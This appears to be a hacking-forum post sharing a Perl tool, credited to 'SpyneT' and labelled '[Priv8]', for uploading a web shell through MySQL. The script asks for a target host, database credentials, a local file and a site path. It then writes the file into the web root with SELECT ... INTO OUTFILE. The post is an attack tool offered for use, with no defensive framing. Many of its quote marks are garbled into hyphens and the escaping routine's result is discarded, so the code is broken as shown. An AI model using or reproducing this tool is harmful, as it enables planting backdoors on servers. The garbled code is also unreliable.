[Priv8] MySQL Shell Upload

Kod:

#!/usr/bin/perl
 
 
 use strict;
 
use warnings;
 
use DBI;
 
use DBD::mysql;
 
use IO::File;
 
use Term::ANSIColor qw(:constants);
 
 
 sub main(){
 
print -\n┏━┓┏━┓╋╋╋┏━━━┓╋╋┏┓
 
┃┃┗┛┃┃╋╋╋┃┏━┓┃╋╋┃┃
 
┃┏┓┏┓┣┓╋┏┫┗━━┳━━┫┃
 
┃┃┃┃┃┃┃╋┃┣━━┓┃┏┓┃┃╋┏┓
 
┃┃┃┃┃┃┗━┛┃┗━┛┃┗┛┃┗━┛┃
 
┗┛┗┛┗┻━┓┏┻━━━┻━┓┣━━━┛
 
╋╋╋╋╋┏━┛┃╋╋╋╋╋╋┃┃
 
╋╋╋╋╋┗━━┛╋╋╋╋╋╋┗┛\n";
 
print -+++▲ Coded by SpyneT ▲\n";
 
print -+++▲ www.fb.com/SpyneT.Officielll ▲\n\n";
 
print BOLD BLUE,-\n[*]-,RESET,- [~] Information's Target [~]-;
 
print -\n\n\n";
 
print BOLD BLUE,-[*]-,RESET,- Host: -;
 chomp(my $host = <stdin>);
 
print BOLD BLUE,-[*]-,RESET,- User: -;
 chomp(my $user = <stdin>);
 
print BOLD BLUE,-[*]-,RESET,- Password: -;
 chomp(my $pass = <stdin>);
 
print BOLD BLUE,-[*]-,RESET,- File of text , which will be uploaded to host : -;
 chomp(my $arq = <stdin>);
 
print BOLD BLUE,-[*]-,RESET,- Path of site+Name of the final file: -;
 chomp(my $path = <stdin>);
 
 
 my $dsn = "dbi:mysql::$host:3306";
 my $dbh = DBI->connect($dsn, $user, $pass,{
 PrintError => 0,
 RaiseError => 0
 });
 
if(!$dbh) { die(BOLD RED,-\n[-]-,RESET,- Connection error\n\n"); }
 
 
 
my $f = new IO::File;
 $f->open(-<$arq") or die $!;
 my @file = <$f>;
 chomp(@file);
 my $text = join(--,@file);
 chomp($text);
 
&AddSlashes($text);
 $f->close;
 
 
 my $sth = $dbh->prepare('SELECT -- . $text . -- INTO OUTFILE --.$path.---);
 
if(!$sth->execute()){
 
print BOLD RED -\n[-]-,RESET,- Failed to make file\n\n";
 
exit;
 
} else {
 
print GREEN -\n[+]-,RESET,- File are create !!!\n\n";
 
exit;
 
}
 
}
 
 
 
sub AddSlashes()
 
{
 
 my $text = shift;
 
 $text =~ s/\\/\\\\/g;
 
 $text =~ s/-/\\-/g;
 
 $text =~ s/-/\\-/g;
 
 $text =~ s/\\0/\\\\0/g;
 
 return $text;
 
}
 
 
 
&main();